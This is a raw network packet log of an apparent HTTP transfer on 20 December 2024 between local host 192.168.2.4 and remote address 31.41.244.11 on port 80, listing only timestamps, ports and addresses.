Dec 20, 2024 07:12:26.881241083 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.881282091 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.881995916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.882085085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.882137060 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.883160114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.883225918 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.883275032 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.884399891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.884453058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.884495020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.884867907 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.885524035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.885656118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.885714054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.886900902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.886985064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.887037039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.888251066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.888417006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.888469934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.889604092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.889719009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.889770985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.890633106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.890682936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.890809059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.892038107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.892093897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.892096043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.892151117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.892828941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.892879963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.892935038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.893877983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.893990993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.894048929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.895140886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.895191908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.895256996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.896459103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.896642923 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.896701097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.898138046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.898277044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.898333073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.899389029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.899422884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.899482012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.900109053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.900191069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.900254965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.901031971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.901066065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.901119947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.902364016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.902539015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.902607918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.903388977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.903507948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.903564930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.904623985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.904782057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.904839993 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.905812979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.905863047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.905919075 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.906996965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.907088041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.907144070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.908179998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.908333063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.908392906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.909789085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.909946918 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.910007954 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.911129951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.911226988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.911286116 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.911811113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.911864042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.911917925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.912930012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.913036108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.913091898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.914136887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.914271116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.914320946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.915525913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.915576935 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.915577888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.915630102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.916501045 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.916553974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.916624069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.917522907 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.917659044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.917738914 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.047867060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.047914982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.047938108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.047972918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.048325062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.048384905 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.048458099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.048521042 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.049525023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.049647093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.049700975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.050713062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.050826073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.050878048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.051939011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.052031994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.052088022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.053149939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.053294897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.053347111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.054405928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.054487944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.054543018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.055577040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.055632114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.055684090 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.056710958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.056771994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.056827068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.057837963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.057975054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.058029890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.059025049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.059108973 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.059161901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.059210062 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.060235977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.060372114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.060446978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.061414957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.061563969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.061628103 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.062608004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.062717915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.062767982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.063906908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.063942909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.063971043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.064014912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.065004110 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.065071106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.065150976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.065256119 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.066162109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.066262960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.066313028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.067392111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.067426920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.067446947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.067477942 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.068627119 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.068686008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.068722010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.068742990 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.069745064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.069818020 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.069849968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.069966078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.070962906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.071022034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.071080923 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.071134090 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.072115898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.072195053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.072232962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.072282076 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.073335886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.073390961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.073437929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.073482990 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.074552059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.074637890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.074682951 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.075757980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.075813055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.075866938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.076905966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.076975107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.076993942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.077043056 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.078071117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.078125000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.078203917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.078259945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.079276085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.079348087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.079348087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.079396009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.080450058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.080523968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.080573082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.080624104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.081641912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.081706047 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.081760883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.081816912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.082866907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.082916975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.082921028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.082968950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.084026098 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.084151983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.084201097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.085247040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.085350037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.085398912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.086407900 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.086527109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.086577892 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.087594032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.087714911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.087722063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.087810040 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.088795900 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.088900089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.088953018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.089953899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.090069056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.090118885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.091135025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.091200113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.091236115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.091285944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.092410088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.092461109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.092472076 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.092518091 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.093528032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.093635082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.093684912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.094711065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.094834089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.094886065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.095959902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.096012115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.096014023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.097105026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.097158909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.097228050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.097299099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.098294973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.098360062 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.098388910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.098437071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.099486113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.099549055 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.099608898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.099666119 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.100681067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.100733995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.100795984 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.100970030 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.101839066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.101958036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.102011919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.103039980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.103105068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.103157997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.103208065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.104293108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.104326963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.104356050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.104378939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.105437040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.105494022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.105587959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.105643988 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.106620073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.106671095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.106749058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.106801987 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.108006001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.108059883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.108124018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.108175039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.108999968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.109062910 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.109107018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.109159946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.110250950 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.110308886 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.240133047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.240204096 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.240340948 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.240592957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.240777016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.240847111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.241887093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.242022991 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.242079020 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.242985964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.243045092 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.243129015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.244179010 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.244239092 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.244312048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.244363070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.245348930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.245474100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.245479107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.245518923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.246557951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.246630907 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.246674061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.246726036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.247747898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.247819901 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.247839928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.247890949 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.248934984 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.249034882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.249103069 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.250123978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.250268936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.250330925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.251342058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.251411915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.251562119 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.252513885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.252593040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.252650023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.253689051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.253798962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.253848076 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.254878998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.254930019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.255002975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.255054951 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.256079912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.256170034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.256206036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.256364107 CET	49801	80	192.168.2.4	31.41.244.11
